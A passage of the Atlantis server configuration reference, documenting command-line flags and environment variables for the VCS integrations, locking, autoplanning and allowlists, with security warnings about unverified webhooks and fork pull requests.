are chosen in this order: 1. Flags 1. Environment Variables 1. Config File ## Flags ### `--allow-commands` ```bash atlantis server --allow-commands=version,plan,apply,unlock,approve_policies # or ATLANTIS_ALLOW_COMMANDS='version,plan,apply,unlock,approve_policies' ``` List of allowed commands to be run on the Atlantis server, Defaults to `version,plan,apply,unlock,approve_policies` Notes: - Accepts a comma separated list, ex. `command1,command2`. - `version`, `plan`, `apply`, `unlock`, `approve_policies`, `import`, `state`, `policy_check` and `all` are available. - `policy_check` is an internal command that runs automatically after `plan` when [policy checking](policy-checking.md) is enabled. It must be explicitly allowlisted when using [`--gh-team-allowlist`](#gh-team-allowlist). - `all` is a special keyword that allows all commands. If pass `all` then all other commands will be ignored. ### `--allow-draft-prs` ```bash atlantis server --allow-draft-prs # or ATLANTIS_ALLOW_DRAFT_PRS=true ``` Respond to pull requests from draft prs. Defaults to `false`. ### `--allow-fork-prs` ```bash atlantis server --allow-fork-prs # or ATLANTIS_ALLOW_FORK_PRS=true ``` Respond to pull requests from forks. Defaults to `false`. :::warning SECURITY WARNING Potentially dangerous to enable because if attackers can create a pull request to your repo then they can cause Atlantis to run arbitrary code. This can happen because Atlantis will automatically run `terraform plan` which can run arbitrary code if given a malicious Terraform configuration. ::: ### `--api-secret` ```bash atlantis server --api-secret="secret" # or (recommended) ATLANTIS_API_SECRET="secret" ``` Required secret used to validate requests made to the [`/api/*` endpoints](api-endpoints.md). ### `--atlantis-url` ```bash atlantis server --atlantis-url="https://my-domain.com:9090/basepath" # or ATLANTIS_ATLANTIS_URL=https://my-domain.com:9090/basepath ``` Specify the URL that Atlantis is accessible from. Used in the Atlantis UI and in links from pull request comments. Defaults to `http://$(hostname):$port` where `$port` is from the [`--port`](#port) flag. Supports a basepath if you're hosting Atlantis under a path. Notes: - If a load balancer with a non http/https port (not the one defined in the `--port` flag) is used, update the URL to include the port like in the example above. - This URL is used as the `details` link next to each atlantis job to view the job's logs. ### `--autodiscover-mode` ```bash atlantis server --autodiscover-mode="" # or ATLANTIS_AUTODISCOVER_MODE="" ``` Sets auto discover mode, default is `auto`. When set to `auto`, projects in a repo will be discovered by Atlantis when there are no projects configured in the repo config. If one or more projects are defined in the repo config then auto discovery will be completely disabled. When set to `enabled` projects will be discovered unconditionally. If an auto discovered project is already defined in the projects section of the repo config, the project from the repo config will take precedence over the auto discovered project. When set to `disabled` projects will never be discovered, even if there are no projects configured in the repo config. ### `--automerge` ```bash atlantis server --automerge # or ATLANTIS_AUTOMERGE=true ``` Automatically merge pull requests after all plans have been successfully applied. Defaults to `false`. See [Automerging](automerging.md) for more details. ### `--autoplan-file-list` ```bash # NOTE: Use single quotes to avoid shell expansion of *. atlantis server --autoplan-file-list='**/*.tf,project1/*.pkr.hcl' # or ATLANTIS_AUTOPLAN_FILE_LIST='**/*.tf,project1/*.pkr.hcl' ``` List of file patterns that Atlantis will use to check if a directory contains modified files that should trigger project planning. Notes: - Accepts a comma separated list, ex. `pattern1,pattern2`. - Patterns use the [`.dockerignore` syntax](https://docs.docker.com/engine/reference/builder/#dockerignore-file) - List of file patterns will be used by both automatic and manually run plans. - When not set, defaults to all `.tf`, `.tfvars`, `.tfvars.json`, `terragrunt.hcl` and `.terraform.lock.hcl` files (`--autoplan-file-list='**/*.tf,**/*.tfvars,**/*.tfvars.json,**/terragrunt.hcl,**/.terraform.lock.hcl'`). - Setting `--autoplan-file-list` will override the defaults. You **must** add `**/*.tf` and other defaults if you want to include them. - A custom [Workflow](repo-level-atlantis-yaml.md#configuring-planning) that uses autoplan `when_modified` will ignore this value. Examples: - Autoplan when any `*.tf` or `*.tfvars` file is modified. - `--autoplan-file-list='**/*.tf,**/*.tfvars'` - Autoplan when any `*.tf` file is modified except in `project2/` directory - `--autoplan-file-list='**/*.tf,!project2'` - Autoplan when any `*.tf` files or `.yml` files in subfolder of `project1` is modified. - `--autoplan-file-list='**/*.tf,project1/**/*.yml'` ::: warning NOTE By default, changes to modules will not trigger autoplanning. See the flags below. ::: ### `--autoplan-modules` ```bash atlantis server --autoplan-modules # or ATLANTIS_AUTOPLAN_MODULES=true ``` Defaults to `false`. When set to `true`, Atlantis will trace the local modules of included projects. Included project are projects with files included by `--autoplan-file-list`. After tracing, Atlantis will plan any project that includes a changed module. This is equivalent to setting `--autoplan-modules-from-projects` to the value of `--autoplan-file-list`. See below. ### `--autoplan-modules-from-projects` ```bash atlantis server --autoplan-modules-from-projects='**/init.tf' # or ATLANTIS_AUTOPLAN_MODULES_FROM_PROJECTS='**/init.tf' ``` Enables auto-planing of projects when a module dependency in the same repository has changed. This is a list of file patterns like `autoplan-file-list`. These patterns select **projects** to index based on the files matched. The index maps modules to the projects that depends on them, including projects that include the module via other modules. When a module file matching `autoplan-file-list` changes, all indexed projects will be planned. Current default is "" (disabled). Examples: - `**/*.tf` - will index all projects that have a `.tf` file in their directory, and plan them whenever an in-repo module dependency has changed. - `**/*.tf,!foo,!bar` - will index all projects containing `.tf` except `foo` and `bar` and plan them whenever an in-repo module dependency has changed. This allows projects to opt-out of auto-planning when a module dependency changes. ::: warning NOTE Modules that are not selected by autoplan-file-list will not be indexed and dependant projects will not be planned. This flag allows the _projects_ to index to be selected, but the trigger for a plan must be a file in `autoplan-file-list`. ::: ::: warning NOTE This flag overrides `--autoplan-modules`. If you wish to disable auto-planning of modules, set this flag to an empty string, and set `--autoplan-modules` to `false`. ::: ### `--azuredevops-hostname` ```bash atlantis server --azuredevops-hostname="dev.azure.com" # or ATLANTIS_AZUREDEVOPS_HOSTNAME="dev.azure.com" ``` Azure DevOps hostname to support cloud and self-hosted instances. Defaults to `dev.azure.com`. ::: warning COMPATIBILITY WARNING If you are affected by this change [docs](https://learn.microsoft.com/en-us/azure/devops/release-notes/2018/sep-10-azure-devops-launch#administration) or this [issue](https://github.com/runatlantis/atlantis/issues/5595) both Service Hooks (v1 & v2) will convert the AD Organization name to lowercase: Examples: `https://dev.azure.com/MYCompany/` & `https://mycompany.visualstudio.com/` will be converted to `mycompany` `https://dev.azure.com/MYCOMPANY/` & `https://myCOMPANY.visualstudio.com/` will be converted to `mycompany` This [change](https://github.com/runatlantis/atlantis/pull/5596) will be applied from version v0.35.0 What to do if you have pending plans that were generated with a previous version? Running an atlantis unlock from v0.35.0 on your current PRs will ignore the files on the `MYCompany` folder. On the next atlantis plan will use the `mycompany` folder and generate everything in the new folder name ::: ### `--azuredevops-token` ```bash atlantis server --azuredevops-token="RandomStringProducedByAzureDevOps" # or (recommended) ATLANTIS_AZUREDEVOPS_TOKEN="RandomStringProducedByAzureDevOps" ``` Azure DevOps token of API user. ### `--azuredevops-user` ```bash atlantis server --azuredevops-user="username@example.com" # or ATLANTIS_AZUREDEVOPS_USER="username@example.com" ``` Azure DevOps username of API user. ### `--azuredevops-webhook-password` ```bash atlantis server --azuredevops-webhook-password="password123" # or (recommended) ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD="password123" ``` Azure DevOps basic authentication password for inbound webhooks (see [docs](https://docs.microsoft.com/en-us/azure/devops/service-hooks/authorize?view=azure-devops)). ::: warning SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from your Azure DevOps org. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. Should be specified via the `ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD` environment variable. ::: ### `--azuredevops-webhook-user` ```bash atlantis server --azuredevops-webhook-user="username@example.com" # or ATLANTIS_AZUREDEVOPS_WEBHOOK_USER="username@example.com" ``` Azure DevOps basic authentication username for inbound webhooks. ### `--bitbucket-api-user` ```bash atlantis server --bitbucket-api-user="apiuser@example.com" # or ATLANTIS_BITBUCKET_API_USER="apiuser@example.com" ``` Bitbucket username (usually an email) used for API authentication with Bitbucket Cloud. This is used for API calls only. If not specified, Atlantis will use the value of `--bitbucket-user` for API authentication to maintain backward compatibility. **Note:** - The backward compatibility is for supporting the existing Bitbucket APP Passwords that are still valid until June 2026(see [here](https://www.atlassian.com/blog/bitbucket/bitbucket-cloud-transitions-to-api-tokens-enhancing-security-with-app-password-deprecation)). **Config file key:** ```yaml bitbucket-api-user: apiuser@example.com ``` **Environment variable:** `ATLANTIS_BITBUCKET_API_USER` **Note:** This flag is only relevant for Bitbucket Cloud (bitbucket.org) integrations. ### `--bitbucket-base-url` ```bash atlantis server --bitbucket-base-url="http://bitbucket.corp:7990/basepath" # or ATLANTIS_BITBUCKET_BASE_URL="http://bitbucket.corp:7990/basepath" ``` Base URL of Bitbucket Server (aka Stash) installation. Must include `http://` or `https://`. If using Bitbucket Cloud (bitbucket.org), do not set. Defaults to `https://api.bitbucket.org`. ### `--bitbucket-token` ```bash atlantis server --bitbucket-token="token" # or (recommended) ATLANTIS_BITBUCKET_TOKEN="token" ``` Bitbucket app password of API user. ### `--bitbucket-user` ```bash atlantis server --bitbucket-user="myuser" # or ATLANTIS_BITBUCKET_USER="myuser" ``` Bitbucket username used for git operations. For Bitbucket Cloud, if `--bitbucket-api-user` is not specified, this value will also be used for API authentication. ### `--bitbucket-webhook-secret` ```bash atlantis server --bitbucket-webhook-secret="secret" # or (recommended) ATLANTIS_BITBUCKET_WEBHOOK_SECRET="secret" ``` Secret used to validate Bitbucket webhooks. ::: warning SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from Bitbucket. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ::: ### `--checkout-depth` ```bash atlantis server --checkout-depth=0 # or ATLANTIS_CHECKOUT_DEPTH=0 ``` The number of commits to fetch from the branch. Used if `--checkout-strategy=merge` since the `--checkout-strategy=branch` (default) checkout strategy always defaults to a shallow clone using a depth of 1. Defaults to `0`. See [Checkout Strategy](checkout-strategy.md) for more details. ### `--checkout-strategy` ```bash atlantis server --checkout-strategy="" # or ATLANTIS_CHECKOUT_STRATEGY="" ``` How to check out pull requests. Use either `branch` or `merge`. Defaults to `branch`. See [Checkout Strategy](checkout-strategy.md) for more details. ### `--config` ```bash atlantis server --config="my/config/file.yaml" # or ATLANTIS_CONFIG="my/config/file.yaml" ``` YAML config file where flags can also be set. See [Config File](#config-file) for more details. ### `--data-dir` ```bash atlantis server --data-dir="path/to/data/dir" # or ATLANTIS_DATA_DIR="path/to/data/dir" ``` Directory where Atlantis will store its data. Will be created if it doesn't exist. Defaults to `~/.atlantis`. Atlantis will store its database, checked out repos, Terraform plans and downloaded Terraform binaries here. If Atlantis loses this directory, [locks](locking.md) will be lost and unapplied plans will be lost. Note that the atlantis user is restricted to `~/.atlantis`. If you set the `--data-dir` flag to a path outside of Atlantis its home directory, ensure that you grant the atlantis user the correct permissions. ### `--default-tf-distribution` ```bash atlantis server --default-tf-distribution="terraform" # or ATLANTIS_DEFAULT_TF_DISTRIBUTION="terraform" ``` Which TF distribution to use. Can be set to `terraform` or `opentofu`. ### `--default-tf-version` ```bash atlantis server --default-tf-version="v0.12.31" # or ATLANTIS_DEFAULT_TF_VERSION="v0.12.31" ``` Terraform version to default to. Will download to `/bin/terraform` if not in `PATH`. See [Terraform Versions](terraform-versions.md) for more details. ### `--disable-apply-all` ```bash atlantis server --disable-apply-all # or ATLANTIS_DISABLE_APPLY_ALL=true ``` Disable `atlantis apply` command so a specific project/workspace/directory has to be specified for applies. ### `--disable-autoplan` ```bash atlantis server --disable-autoplan # or ATLANTIS_DISABLE_AUTOPLAN=true ``` Disable atlantis auto planning. ### `--disable-autoplan-label` ```bash atlantis server --disable-autoplan-label="no-autoplan" # or ATLANTIS_DISABLE_AUTOPLAN_LABEL="no-autoplan" ``` Disable atlantis auto planning only on pull requests with the specified label. If `disable-autoplan` property is `true`, this flag has no effect. ### `--disable-global-apply-lock` ```bash atlantis server --disable-global-apply-lock # or ATLANTIS_DISABLE_GLOBAL_APPLY_LOCK=true ``` If true, removes button in the UI that allows users to globally disable apply commands. ### `--disable-markdown-folding` ```bash atlantis server --disable-markdown-folding # or ATLANTIS_DISABLE_MARKDOWN_FOLDING=true ``` Disable folding in markdown output using the `
` html tag. ### `--disable-repo-locking` ```bash atlantis server --disable-repo-locking # or ATLANTIS_DISABLE_REPO_LOCKING=true ``` Stops atlantis from locking projects and or workspaces when running terraform. ### `--disable-unlock-label` ```bash atlantis server --disable-unlock-label do-not-unlock # or ATLANTIS_DISABLE_UNLOCK_LABEL="do-not-unlock" ``` Stops atlantis from unlocking a pull request with this label. Defaults to "" (feature disabled). ### `--discard-approval-on-plan` ```bash atlantis server --discard-approval-on-plan # or ATLANTIS_DISCARD_APPROVAL_ON_PLAN=true ``` If set, discard approval if a new plan has been executed. Currently only supported on GitHub and GitLab. For GitLab a bot, group or project token is required for this feature. Reference: [reset-approvals-of-a-merge-request](https://docs.gitlab.com/api/merge_request_approvals/#reset-approvals-of-a-merge-request) ### `--emoji-reaction` ```bash atlantis server --emoji-reaction eyes # or ATLANTIS_EMOJI_REACTION=eyes ``` The emoji reaction to use for marking processed comments. Currently supported on Azure DevOps, GitHub and GitLab. If not specified, Atlantis will not use an emoji reaction. Defaults to "" (empty string). ::: warning NOTE Each VCS provider supports a different list of emojis: - [GitHub](https://docs.github.com/en/rest/reactions/reactions?apiVersion=2022-11-28#about-reactions) - [GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/master/fixtures/emojis/digests.json) - [Azure DevOps](https://learn.microsoft.com/en-us/azure/devops/project/wiki/markdown-guidance?view=azure-devops#emoji) ::: ### `--enable-diff-markdown-format` ```bash atlantis server --enable-diff-markdown-format # or ATLANTIS_ENABLE_DIFF_MARKDOWN_FORMAT=true ``` Enable Atlantis to format Terraform plan output into a markdown-diff friendly format for color-coding purposes. Useful to enable for use with GitHub. ### `--enable-policy-checks` ```bash atlantis server --enable-policy-checks # or ATLANTIS_ENABLE_POLICY_CHECKS=true ``` Enables atlantis to run server side policies on the result of a terraform plan. Policies are defined in [server side repo config](server-side-repo-config.md#reference). ### `--enable-profiling-api` ```bash atlantis server --enable-profiling-api # or ATLANTIS_ENABLE_PROFILING_API=true ``` Enable [`net/http/pprof`](https://pkg.go.dev/net/http/pprof) endpoints for [continuous profiling](https://grafana.com/docs/pyroscope/latest/introduction/continuous-profiling/) of resources used by the server. See [profiling Go programs](https://go.dev/blog/pprof) for more information. ### `--enable-regexp-cmd` ```bash atlantis server --enable-regexp-cmd # or ATLANTIS_ENABLE_REGEXP_CMD=true ``` Enable Atlantis to use regular expressions to run plan/apply commands against defined project names when `-p` flag is passed with it. This can be used to run all defined projects (with the `name` key) in `atlantis.yaml` using `atlantis plan -p .*`. The flag will only allow the regexes listed in the [`allowed_regexp_prefixes`](repo-level-atlantis-yaml.md#reference) key defined in the repo `atlantis.yaml` file. If the key is undefined, its value defaults to `[]` which will allow any regex. This will not work with `-d` yet and to use `-p` the repo projects must be defined in the repo `atlantis.yaml` file. This will bypass `--restrict-file-list` if regex is used, normal commands will still be blocked if necessary. ::: warning SECURITY WARNING It's not supposed to be used with `--disable-apply-all`. The command `atlantis apply -p .*` will bypass the restriction and run apply on every project. ::: ### `--executable-name` ```bash atlantis server --executable-name="atlantis" # or ATLANTIS_EXECUTABLE_NAME="atlantis" ``` Comment command trigger executable name. Defaults to `atlantis`. This is useful when running multiple Atlantis servers against a single repository. ### `--fail-on-pre-workflow-hook-error` ```bash atlantis server --fail-on-pre-workflow-hook-error # or ATLANTIS_FAIL_ON_PRE_WORKFLOW_HOOK_ERROR=true ``` Fail and do not run the requested Atlantis command if any of the pre workflow hooks error. ### `--gh-allow-mergeable-bypass-apply` ```bash atlantis server --gh-allow-mergeable-bypass-apply # or ATLANTIS_GH_ALLOW_MERGEABLE_BYPASS_APPLY=true ``` Feature flag to enable ability to use `mergeable` mode with required apply status check. ### `--gh-app-id` ```bash atlantis server --gh-app-id="00000" # or ATLANTIS_GH_APP_ID="00000" ``` GitHub app ID. If set, GitHub authentication will be performed as [an installation](https://docs.github.com/en/rest/apps/installations). ::: tip A GitHub app can be created by starting Atlantis first, then pointing your browser at ```shell $(hostname)/github-app/setup ``` You'll be redirected to GitHub to create a new app, and will then be redirected to ```shell $(hostname)/github-app/exchange-code?code=some-code ``` After which Atlantis will display your new app's credentials: your app's ID, its generated `--gh-webhook-secret` and the contents of the file for `--gh-app-key-file`. Update your Atlantis config accordingly, and restart the server. ::: ### `--gh-app-installation-id` ```bash atlantis server --gh-app-installation-id="123" # or ATLANTIS_GH_APP_INSTALLATION_ID="123" ``` The installation ID of a specific instance of a GitHub application. Normally this value is derived by querying GitHub for the list of installations of the ID supplied via `--gh-app-id` and selecting the first one found and where multiple installations results in an error. Use this flag if you have multiple instances of Atlantis but you want to use a single already-installed GitHub app for all of them. You would normally do this if you are running a proxy as your single GitHub application that will proxy to an appropriate Atlantis instance based on the organization or user that triggered the webhook. ### `--gh-app-key` ```bash atlantis server --gh-app-key="-----BEGIN RSA PRIVATE KEY-----(...)" # or ATLANTIS_GH_APP_KEY="-----BEGIN RSA PRIVATE KEY-----(...)" ``` The PEM encoded private key for the GitHub App. ::: warning SECURITY WARNING The contents of the private key will be visible by anyone that can run `ps` or look at the shell history of the machine where Atlantis is running. Use `--gh-app-key-file` to mitigate that risk. ::: ### `--gh-app-key-file` ```bash atlantis server --gh-app-key-file="path/to/app-key.pem" # or ATLANTIS_GH_APP_KEY_FILE="path/to/app-key.pem" ``` Path to a GitHub App PEM encoded private key file. If set, GitHub authentication will be performed as [an installation](https://docs.github.com/en/rest/apps/installations). ### `--gh-app-slug` ```bash atlantis server --gh-app-slug="myappslug" # or ATLANTIS_GH_APP_SLUG="myappslug" ``` A slugged version of GitHub app name shown in pull requests comments, etc (not `Atlantis App` but something like `atlantis-app`). Atlantis uses the value of this parameter to identify the comments it has left on GitHub pull requests. This is used for functions such as `--hide-prev-plan-comments`. You need to obtain this value from your GitHub app, one way is to go to your App settings and open "Public page" from the left sidebar. Your `--gh-app-slug` value will be the last part of the URL, e.g `https://github.com/apps/`. ### `--gh-hostname` ```bash atlantis server --gh-hostname="my.github.enterprise.com" # or ATLANTIS_GH_HOSTNAME="my.github.enterprise.com" ``` Hostname of your GitHub Enterprise installation. If using [GitHub.com](https://github.com), don't set. Defaults to `github.com`. ### `--gh-org` ```bash atlantis server --gh-org="myorgname" # or ATLANTIS_GH_ORG="myorgname" ``` GitHub organization name. Set to enable creating a private GitHub app for this organization. ### `--gh-team-allowlist` ```bash atlantis server --gh-team-allowlist="myteam:plan, secteam:apply, devops-team:apply, devops-team:import" # or ATLANTIS_GH_TEAM_ALLOWLIST="myteam:plan, secteam:apply, devops-team:apply, devops-team:import" ``` In versions v0.35.0 and later, the GitHub team name can only be a slug because it is immutable. In versions between v0.21.0 and v0.34.0, the GitHub team name can be a name or a slug. In versions v0.20.1 and below, the GitHub team name required the case sensitive team name. Comma-separated list of GitHub teams and permission pairs. By default, any team can plan and apply. ::: tip If you are using [policy checking](policy-checking.md), you must also allowlist the `policy_check` command for it to work on manual `atlantis plan` commands: ```bash atlantis server --gh-team-allowlist="*:plan,*:policy_check,myteam:apply" ``` See [Policy Checking documentation](policy-checking.md#step-1-enable-the-workflow) for more details. ::: ### `--gh-token` ```bash atlantis server --gh-token="token" # or (recommended) ATLANTIS_GH_TOKEN="token" ``` GitHub token of API user. ### `--gh-token-file` ```bash atlantis server --gh-token-file="/path/to/token" # or ATLANTIS_GH_TOKEN_FILE="/path/to/token" ``` GitHub token of API user. The token is loaded from disk regularly to allow for rotation of the token without the need to restart the Atlantis server. ### `--gh-user` ```bash atlantis server --gh-user="myuser" # or ATLANTIS_GH_USER="myuser" ``` GitHub username of API user. This user is also used by the flag `--hide-user-plan-comments` and will need to be updated if migrating to github EMU. ### `--gh-webhook-secret` ```bash atlantis server --gh-webhook-secret="secret" # or (recommended) ATLANTIS_GH_WEBHOOK_SECRET="secret" ``` Secret used to validate GitHub webhooks (see [GitHub: Validating webhook deliveries](https://docs.github.com/en/webhooks/using-webhooks/validating-webhook-deliveries)). ::: warning SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitHub. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ::: ### `--gitea-base-url` ```bash atlantis server --gitea-base-url="http://your-gitea.corp:7990/basepath" # or ATLANTIS_GITEA_BASE_URL="http://your-gitea.corp:7990/basepath" ``` Base URL of Gitea installation. Must include `http://` or `https://`. Defaults to `https://gitea.com` if left empty/absent. ### `--gitea-page-size` ```bash atlantis server --gitea-page-size=30 # or (recommended) ATLANTIS_GITEA_PAGE_SIZE=30 ``` Number of items on a single page in Gitea paged responses. ::: warning Configuration dependent The default value conforms to the Gitea server's standard config setting: DEFAULT_PAGING_NUM The highest valid value depends on the Gitea server's config setting: MAX_RESPONSE_ITEMS ::: ### `--gitea-token` ```bash atlantis server --gitea-token="token" # or (recommended) ATLANTIS_GITEA_TOKEN="token" ``` Gitea app password of API user. ### `--gitea-user` ```bash atlantis server --gitea-user="myuser" # or ATLANTIS_GITEA_USER="myuser" ``` Gitea username of API user. ### `--gitea-webhook-secret` ```bash atlantis server --gitea-webhook-secret="secret" # or (recommended) ATLANTIS_GITEA_WEBHOOK_SECRET="secret" ``` Secret used to validate Gitea webhooks. ::: warning SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from Gitea. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ::: ### `--gitlab-group-allowlist` ```bash atlantis server --gitlab-group-allowlist="myorg/mygroup:plan, myorg/secteam:apply, myorg/devops:apply, myorg/devops:import" # or ATLANTIS_GITLAB_GROUP_ALLOWLIST="myorg/mygroup:plan, myorg/secteam:apply, myorg/devops:apply, myorg/devops:import" ``` Comma-separated list of GitLab groups and permission pairs. By default, any group can plan and apply. ::: warning NOTE Atlantis needs to be able to view the listed group members, inaccessible or non-existent groups are silently ignored. ::: ### `--gitlab-hostname` ```bash atlantis server --gitlab-hostname="my.gitlab.enterprise.com" # or ATLANTIS_GITLAB_HOSTNAME="my.gitlab.enterprise.com" ``` Hostname of your GitLab Enterprise installation. If using [GitLab.com](https://gitlab.com), don't set. Defaults to `gitlab.com`. ### `--gitlab-status-retry-enabled` ```bash atlantis server --gitlab-status-retry-enabled # or ATLANTIS_GITLAB_STATUS_RETRY_ENABLED=true ``` Enable enhanced retry logic for GitLab pipeline status updates with exponential backoff. Defaults to `false`. ### `--gitlab-token` ```bash atlantis server --gitlab-token="token" # or (recommended) ATLANTIS_GITLAB_TOKEN="token" ``` GitLab token of API user. ### `--gitlab-user` ```bash atlantis server --gitlab-user="myuser" # or ATLANTIS_GITLAB_USER="myuser" ``` GitLab username of API user. ### `--gitlab-webhook-secret` ```bash atlantis server --gitlab-webhook-secret="secret" # or (recommended) ATLANTIS_GITLAB_WEBHOOK_SECRET="secret" ``` Secret used to validate GitLab webhooks. ::: warning SECURITY WARNING If not specified, Atlantis won't be able to validate that the incoming webhook call came from GitLab. This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. ::: ### `--help` ```bash atlantis server --help ``` View help. ### `--hide-prev-plan-comments` ```bash atlantis server --hide-prev-plan-comments # or ATLANTIS_HIDE_PREV_PLAN_COMMENTS=true ``` Hide previous plan comments to declutter PRs. This is only supported in GitHub and GitLab and Bitbucket currently and is not enabled by default. For Bitbucket, the comments are deleted rather than hidden as Bitbucket does not support hiding comments. For GitHub, ensure the `--gh-user` is set appropriately or comments will not be hidden. When using the GitHub App, you need to set `--gh-app-slug` to enable this feature. ### `--hide-unchanged-plan-comments` ```bash atlantis server --hide-unchanged-plan-comments # or ATLANTIS_HIDE_UNCHANGED_PLAN_COMMENTS=true ``` Remove no-changes plan comments from the pull request. This is useful when you have many projects and want to keep the pull request clean from useless comments. ### `--ignore-vcs-status-names` ```bash atlantis server --ignore-vcs-status-names="status1,status2" # or ATLANTIS_IGNORE_VCS_STATUS_NAMES=status1,status2 ``` Comma separated list of VCS status names from other atlantis services. When `gh-allow-mergeable-bypass-apply` is true, will ignore status checks (e.g. `status1/plan`, `status1/apply`, `status2/plan`, `status2/apply`) from other Atlantis services when checking if the PR is mergeable. Currently only implemented for GitHub. ### `--include-git-untracked-files` ```bash atlantis server --include-git-untracked-files # or ATLANTIS_INCLUDE_GIT_UNTRACKED_FILES=true ``` Include git untracked files in the Atlantis modified file list. Used for example with CDKTF pre-workflow hooks that dynamically generate Terraform files. ### `--locking-db-type` ```bash atlantis server --locking-db-type="" # or ATLANTIS_LOCKING_DB_TYPE="" ``` The locking database type to use for storing plan and apply locks. Defaults to `boltdb`. Notes: - If set to `boltdb`, only one process may have access to the boltdb instance. - If set to `redis`, then `--redis-host`, `--redis-port`, and `--redis-password` must be set. ### `--log-level` ```bash atlantis server --log-level="" # or ATLANTIS_LOG_LEVEL="" ``` Log level. Defaults to `info`. ### `--markdown-template-overrides-dir` ```bash atlantis server --markdown-template-overrides-dir="path/to/templates/" # or ATLANTIS_MARKDOWN_TEMPLATE_OVERRIDES_DIR="path/to/templates/" ``` This will be available in v0.21.0. Directory where Atlantis will read in overrides for markdown templates used to render comments on pull requests. Markdown template overrides may be specified either in individual files, or all together in a single file. All template override files _must_ have the `.tmpl` extension, otherwise they will not be parsed. Markdown templates which may have overrides can be found [markdown templates directory](https://github.com/runatlantis/atlantis/tree/main/server/events/templates) Please be mindful that settings like `--enable-diff-markdown-format` depend on logic defined in the templates. It is possible to diverge from expected behavior, if care is not taken when overriding default templates. Defaults to the atlantis home directory `/home/atlantis/.markdown_templates/` in `/$HOME/.markdown_templates`. ### `--max-comments-per-command` ```bash atlantis server --max-comments-per-command=100 # or ATLANTIS_MAX_COMMENTS_PER_COMMAND=100 ``` Limit the number of comments published after a command is executed, to prevent spamming your VCS and Atlantis to get throttled as a result. Defaults to `100`. Set this option to `0` to disable log truncation. Note that the truncation will happen on the top of the command output, to preserve the most important parts of the output, often displayed at the end. When command output exceeds the VCS comment size limit (or when this limit applies), Atlantis splits the output into multiple comments using **intelligent comment splitting**. Split points are chosen so that markdown structure is preserved: the splitter detects whether it is inside a code block (`` ``` ``), a `
` block, or inline code (`` ` ``), and inserts appropriate closing and continuation markers so that each comment renders correctly. Continuation comments are labeled with the command name (e.g. "Continued plan output from previous comment") when available. ### `--parallel-apply` ```bash atlantis server --parallel-apply # or ATLANTIS_PARALLEL_APPLY=true ``` Whether to run apply operations in parallel. Defaults to `false`. Explicit declaration in [repo config](repo-level-atlantis-yaml.md#run-plans-and-applies-in-parallel) takes precedence. ### `--parallel-plan` ```bash atlantis server --parallel-plan # or ATLANTIS_PARALLEL_PLAN=true ``` Whether to run plan operations in parallel. Defaults to `false`. Explicit declaration in [repo config](repo-level-atlantis-yaml.md#run-plans-and-applies-in-parallel) takes precedence. ### `--parallel-pool-size` ```bash atlantis server --parallel-pool-size=100 # or ATLANTIS_PARALLEL_POOL_SIZE=100 ``` Max size of the wait group that runs parallel plans and applies (if enabled). Defaults to `15` ### `--pending-apply-status` ```bash atlantis server --pending-apply-status # or (recommended) ATLANTIS_PENDING_APPLY_STATUS=true ``` Set the commit status to pending when there are planned changes that haven't been applied. This prevents merge requests from being merged until all Terraform applies are completed if you have `Pipelines must succeed` enabled on your repository. When enabled, after running `atlantis plan`, the MR status will show as pending if there are changes to apply. Once all projects are successfully applied (or show no changes), the status will update to success. Defaults to `false`. Only supported on GitLab ### `--port` ```bash atlantis server --port=4141 # or ATLANTIS_PORT=4141 ``` Port to bind to. Defaults to `4141`. ### `--quiet-policy-checks` ```bash atlantis server --quiet-policy-checks # or ATLANTIS_QUIET_POLICY_CHECKS=true ``` Exclude policy check comments from pull requests unless there's an actual error from conftest. This also excludes warnings. Defaults to `false`. ### `--redis-db` ```bash atlantis server --redis-db=0 # or ATLANTIS_REDIS_DB=0 ``` The Redis Database to use when using a Locking DB type of `redis`. Defaults to `0`. ### `--redis-host` ```bash atlantis server --redis-host="localhost" # or ATLANTIS_REDIS_HOST="localhost" ``` The Redis Hostname for when using a Locking DB type of `redis`. ### `--redis-insecure-skip-verify` ```bash atlantis server --redis-insecure-skip-verify=false # or ATLANTIS_REDIS_INSECURE_SKIP_VERIFY=false ``` Controls whether the Redis client verifies the Redis server's certificate chain and host name. If true, accepts any certificate presented by the server and any host name in that certificate. Defaults to `false`. ::: warning SECURITY WARNING If this is enabled, TLS is susceptible to machine-in-the-middle attacks unless custom verification is used. ::: ### `--redis-password` ```bash atlantis server --redis-password="password123" # or (recommended) ATLANTIS_REDIS_PASSWORD="password123" ``` The Redis Password for when using a Locking DB type of `redis`. ### `--redis-port` ```bash atlantis server --redis-port=6379 # or ATLANTIS_REDIS_PORT=6379 ``` The Redis Port for when using a Locking DB type of `redis`. Defaults to `6379`. ### `--redis-tls-enabled` ```bash atlantis server --redis-tls-enabled=false # or ATLANTIS_REDIS_TLS_ENABLED=false ``` Enables a TLS connection, with min version of 1.2, to Redis when using a Locking DB type of `redis`. Defaults to `false`. ### `--repo-allowlist` ```bash # NOTE: Use single quotes to avoid shell expansion of *. atlantis server --repo-allowlist='github.com/myorg/*' # or ATLANTIS_REPO_ALLOWLIST='github.com/myorg/*' ``` Atlantis requires you to specify an allowlist of repositories it will accept webhooks from. Notes: - Accepts a comma separated list, ex. `definition1,definition2` - Format is `{hostname}/{owner}/{repo}`, ex. `github.com/runatlantis/atlantis` - `*` matches any characters, ex. `github.com/runatlantis/*` will match all repos in the runatlantis organization - An entry beginning with `!` negates it, ex. `github.com/foo/*,!github.com/foo/bar` will match all github repos in the `foo` owner _except_ `bar`. - For Bitbucket Server: `{hostname}` is the domain without scheme and port, `{owner}` is the name of the project (not the key), and `{repo}` is the repo name - User (not project) repositories take on the format: `{hostname}/{full name}/{repo}` (e.g., `bitbucket.example.com/Jane Doe/myatlantis` for username `jdoe` and full name `Jane Doe`, which is not very intuitive) - For Azure DevOps the allowlist takes one of two forms: 